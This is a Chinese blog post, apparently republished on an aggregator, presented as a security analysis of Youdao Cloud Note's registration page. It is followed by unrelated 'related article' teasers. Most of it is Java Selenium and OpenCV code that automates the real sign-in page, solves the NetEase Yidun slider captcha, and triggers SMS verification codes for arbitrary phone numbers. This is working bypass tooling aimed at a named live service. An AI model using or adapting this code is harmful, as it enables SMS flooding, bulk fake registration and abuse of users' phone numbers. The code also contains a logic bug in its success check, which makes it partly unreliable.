【有道云-注册安全分析报告】

news2024/11/15 19:37:32

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 有道云笔记 PC端注册入口

简介:有道云笔记(原有道笔记)是2011年6月28日推出的个人与团队的线上资料库,支持多种附件格式,拥有3G容量的初始免费存储空间,能够实时增量式同步,并采用“三备份存储”技术,同时上线的还有网页剪报功能。2012年12月初,有道云笔记推出3.0新版,PC、iPhone、Android和web端四大平台全面升级。升级后的有道云笔记增加了待办事项、历史版本等全新功能,方便用户更好的对日程及笔记内容管理。

在这里插入图片描述

在这里插入图片描述

二、 安全性分析报告:
采用网易的滑动行为验证方式,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、 测试方法:
前端界面分析为网易易盾的滑动验证码, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分
在这里插入图片描述

  1. 模拟器交互部分

private final String INDEX_URL = "https://note.youdao.com/signIn/index.html";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			RetEntity retEntity = new RetEntity();
			driver.get(INDEX_URL);

			// switch To frame
			driver.switchTo().frame(driver.findElements(By.tagName("iframe")).get(0));
			Thread.sleep(1000);

			// 手机号登录
			driver.findElement(By.id("mobileModule")).click();
			Thread.sleep(1000);

			// 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("phoneipt"), 500);
			phoneElemet.sendKeys(phone);

			netEasy.moveExec(driver);

			WebElement getCodeElement = driver.findElement(By.xpath("//a[contains(text(),'获取验证码')]"));
			getCodeElement.click();
			Thread.sleep(1000);

			WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//a[contains(text(),'秒后重发')]"), 1);
			String info = (infoElement != null) ? infoElement.getText() : null;
			retEntity.setMsg(info);
			if (info != null && info.contains("秒后重发")) {
				retEntity.setRet(0);
			} else {
				System.out.println("info=" + info);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("send() phone=" + phone + ",e=" + e.toString());
			StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace())
				er.append(elment.toString() + "\n");
			System.out.println(er.toString());
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}


2. 距离识别


/**
	 * Open Cv 图片模板匹配
	 * 
	 * @param tpPath
	 *            模板图片路径
	 * @param bgPath
	 *            目标图片路径
	 * @return { width, maxX }
	 */
	public String[] getWidth(String tpPath, String bgPath, String resultFile) {
		try {
			Rect rectCrop = clearWhite(tpPath);
			Mat g_tem = Imgcodecs.imread(tpPath);
			Mat clearMat = g_tem.submat(rectCrop);

			Mat cvt = new Mat();
			Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
			Mat edgesSlide = new Mat();
			Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
			Mat cvtSlide = new Mat();
			Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
			Imgcodecs.imwrite(tpPath, cvtSlide);

			Mat g_b = Imgcodecs.imread(bgPath);
			Mat edgesBg = new Mat();
			Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
			Mat cvtBg = new Mat();
			Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);

			int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
			int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
			Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
			Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
			// 归一化相关匹配法
			MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
			Point maxLoc = minMaxLoc.maxLoc;
			Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
			Imgcodecs.imwrite(resultFile, cvtBg);
			String width = String.valueOf(cvtSlide.cols());
			String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
			System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
			return new String[] { width, maxX };
		} catch (Throwable e) {
			System.out.println("getWidth() " + e.toString());
			logger.error("getWidth() " + e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				logger.error(elment.toString());
			}
			return null;
		}
	}


  1. 轨道生成及移动算法

public boolean moveExec(WebDriver driver) {
		// 获取滑动按钮
		try {
			WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);
			if (moveElemet == null) {
				return false;
			} else {
				Actions actions = new Actions(driver);
				actions.clickAndHold(moveElemet).perform();
			}
			Thread.sleep(1000);

			// 获取带阴影的背景图

			WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);
			String bUrl = bg.getAttribute("src");
			if (bUrl == null) {
				System.out.println("bUrl=" + bUrl);
				return false;
			}
			// 获取小图

			WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);
			String sUrl = s.getAttribute("src");
			if (sUrl == null) {
				System.out.println("sUrl=" + sUrl);
				return false;
			}
			Map<String, String> outMap = getMoveDistance(bUrl, sUrl);
			String openWidth = outMap != null ? outMap.get("width") : null;
			String openDistance = outMap != null ? outMap.get("distance") : null;
			// 计算匹配到的位置
			int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;
			System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);
			if (distance == 0) {
				System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);
				return false;
			}

			moveElemet.click();
			// 滑动
			ActionMove.move(driver, moveElemet, distance);
			String moveStr = null;
			WebElement yidunElement;
			for (int i = 0; i <= 40; i++) {
				yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);
				moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;
				if (moveStr != null && moveStr.contains("yidun--success")) {
					System.out.println("succ distance=" + distance);
					driver.findElement(By.id("nickname")).click();
					Thread.sleep(500);
					driver.findElements(By.className("sms-code")).get(1).click();
					Thread.sleep(500);
					break;
				}
				System.out.print(".");
				Thread.sleep(50);
			}
			return true;
		} catch (Exception e) {
			return false;
		}

	}

  1. OpenCv 轮廓匹配测试样例:
    在这里插入图片描述

四丶结语

有道云作为网易旗下的网站,采用自家的验证类产品非常正常, 从测试来看,有道云笔记基本采用用户比较友好的滑动验证方式, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2076637.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

WLAN网络优化,还得看这三剑客!

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 晚上好&#xff0c;我的网工朋友。 WLAN网络成为了企业网络接入的主要手段之一&#xff0c;用户对于WLAN网络的体验性也有了更高的要求。 对于W…

雷达水位监测站低功耗及免维护设计

QY-15雷达水位监测站采用非接触雷达&#xff0c;无磨损无污染产品概述 雷达水位监测站是一款高精度且具有水面波动滤波处理的地表水水位测量产品。它采用喇叭天线的设计&#xff0c;降低功耗&#xff0c;宽范围的输入电压&#xff0c;专门设计于适合野外无人值守的野外自动站应…

图像噪声与被污染图像的恢复

系列文章目录 文章目录 系列文章目录前言一、图像退化模型二、图像噪声2.2 图像噪声的分类2.2.1 加性噪声2.2.2 乘性噪声 三、图像噪声的概率密度函数3.1 高斯噪声3.2 瑞利噪声3.3 均匀分布噪声3.4 脉冲噪声3.5 图像信噪比 四、图像噪声的概率密度函数 前言 数字图像常会因受一…

Elasticsearch之DSL查询语法

​ 前言 在上一篇文章中&#xff0c;我们通过RestClient的Bulk操作导入了大量的hotel数据到elasticsearch&#xff0c;实现了elasticsearch的数据存储功能。但elasticsearch最擅长的还是搜索和数据分析。本篇文章会通过使用DSL来介绍elasticsearch的搜索功能。 1. DSL查询分…

C++ 类和对象 3

构造函数扩展 构造函数体内的赋值&#xff1a;构造函数一般是用于类对象的初始化的&#xff0c;但严谨来说并不是成员变量的初始化&#xff0c;内置类型的初始化是在生成的同时赋值而且仅有一次&#xff0c;但是在构造函数体内是能对成员变量进行多次赋值的。所以在函数体内的…

GeoStudio2024:地质工程的瑰宝下载安装介绍

引言 青山隐隐&#xff0c;流水潺潺&#xff0c;吾心所向&#xff0c;乃地质之奥秘。GeoStudio2024&#xff0c;如同一卷古籍&#xff0c;蕴藏无尽智慧&#xff0c;助吾等探寻地质之真谛。今以李白之笔&#xff0c;述其妙用&#xff0c;愿与君共赏。 初识GeoStudio2024 初见…

优化系统性能:深入探讨Web层缓存与Redis应用的挑战与对策

Web层缓存对于提高应用性能至关重要&#xff0c;它通过减少重复的数据处理和数据库查询来加快响应时间。例如&#xff0c;如果一个用户请求的数据已经缓存&#xff0c;服务器可以直接从缓存中返回结果&#xff0c;避免了每次请求都进行复杂的计算或数据库查询。这不仅提高了应用…

【iOS】iOS中简单的网络请求

目录 前言认识API和RULAPIURL两者的联系 简单的网络请求1. 创建URL对象2. 创建URLRequest对象3. 设置请求头&#xff08;如果需要&#xff09;4. 发送请求异步请求同步请求 5. 处理请求结果6.启动数据任务完整代码示例及运行结果&#xff1a; 关于同步请求和异步请求同步请求异…

vue3 cascader省市区三级联动如何指定字段,如何根据id查到对应的名字

如果我们接口数据字段名不是value和code。要加个props :props"{ value:code,label:regionName}"根据id查name需要一个ref和一个change事件<el-cascader :options"areaData" ref"addressCodeRef" change"handleChange" :props"…

MySQL(五)——表设计(约束、范式、表关系)

文章目录 表设计约束非空约束&#xff08;NOT NULL&#xff09;唯一约束&#xff08;UNIQUE&#xff09;主键约束&#xff08;PRIMARY KEY&#xff09;外键约束&#xff08;FOREIGN KEY&#xff09;默认值约束&#xff08;DEFAULT&#xff09;检查约束&#xff08;CHECK&#x…

考研数学最迟什么时候要结束强化?10月才做真题是不是晚了?

已经快9月了&#xff0c;很多同学的考研数学的强化也接近尾声&#xff0c;这个时候要注意两个事情&#xff1a; 1、如果你还有很多没学完&#xff0c;不要强行收尾&#xff0c;稳扎稳打的把强化给结束了。 2、强化结束之前&#xff0c;要清理完所有在强化阶段产生的错题&…

Kafka日志及常见问题

目录 1.Topic下的消息是如何存储的 1.1log文件追加记录所有消息 1.2index和timeindex加速读取日志信息 2.文件清理机制 2.1如何判断哪些日志文件过期了 2.2日志清理策略 3.Kafka的文件高效读写机制 3.1Kafka的文件结构 3.2顺序写磁盘 3.3零拷贝 3.3.1传统IO 3.3.2m…

应用层与传输层

1.应用层 很多时候这一层的协议是程序员自定义的应用层协议&#xff08;相当于一种约定&#xff0c;约定数据如何进行传输&#xff09;。 eg&#xff1a; 实现登录的场景&#xff1a; 此时前端就需要与后端约定请求&#xff08;假设约定使用ajax请求&#xff09;中的一些参…

接口自动化测试面试题目详解

1、get和post区别是什么&#xff1f; 答&#xff1a;POST和GET都是向服务器提交数据&#xff0c;并且都会从服务器获取数据。 区别&#xff1a; &#xff08;1&#xff09;传送方式&#xff1a;get通过地址栏传输&#xff0c;post通过报文传输 &#xff08;2&#xff09;传…

c语言 自定义类型--枚举 、联合 #枚举类型的定义 #枚举的优点 #枚举的使用 #联合类型的定义 #联合的特点 #联合大小的计算

文章目录 前言 一、枚举 (一)、枚举类型的定义 (二)、枚举的优点 (三)、枚举的使用 二、联合 (一)、联合类型的定义 (二)、联合的特点 (三)、联合大小的计算 总结 前言 路漫漫其修远兮&#xff0c;吾将上下而求索。 枚举、联合跟结构体很像&#xff0c;想要细致地了…

基于SpringBoot+Vue+uniapp的“村游网”系统的微信小程序开发的详细设计和实现(源码+lw+部署文档+讲解等)

文章目录 前言详细视频演示具体实现截图技术栈后端框架SpringBoot前端框架Vue持久层框架MyBaitsPlus 系统测试系统测试目的系统功能测试系统测试结论 为什么选择我代码参考数据库参考源码获取源码获取 前言 &#x1f31e;博主介绍 &#xff1a;✌全网粉丝15W,CSDN特邀作者、21…

基于状态机实现WIFI模组物联网

1.0 状态机框架原理 如果成功的话就连接热点&#xff0c;如果失败就返回AT通信检查&#xff0c;如果AT通信检查还是失败就放回硬件复位这个状态&#xff0c;如果热点链接成功&#xff0c;就连接MQTT指令&#xff0c;如果失败就返回AT通信检查&#xff0c;如果成功就连接云平台通…

跟着B站前端面试总结回顾前端基础知识(一)

组件划分标准 组件划分_哔哩哔哩_bilibili 在前端Vue开发中&#xff0c;组件的划分是构建高效、可维护应用的关键步骤。Vue组件的划分标准通常基于多个方面的考虑&#xff0c;包括但不限于功能独立性、复用性、可维护性和可扩展性。以下是一些Vue组件划分的标准&#xff1a; …

破解历史合同“旧题” 答好集体经济“新篇”

——汕头市龙湖区&#xff1a;全面推进乡村振兴战略 实现农村集体经济新飞跃 农村集体资产资源是乡村赖以生存的家底&#xff0c;也是村集体经济发展壮大、更好推动乡村振兴战略加力提速的承载。自2023年10月开始&#xff0c;在汕头市龙湖区的广袤乡村上&#xff0c;一场关于村…

图解搜索算法(BFS、DFS、Dijstra算法、KSP算法、A*算法)

文章目录 深度优先搜索算法广度优先搜索算法Dijkstra算法KSP算法A*算法 由于在工作中用到了BFS算法、DFS算法、Dijkstra算法、KSP算法&#xff0c;因此将上述算法的工作原理记录一下&#xff0c;同时用图解的方式解释相应的算法。A*算法由于本文在工作中&#xff0c;还没用过&a…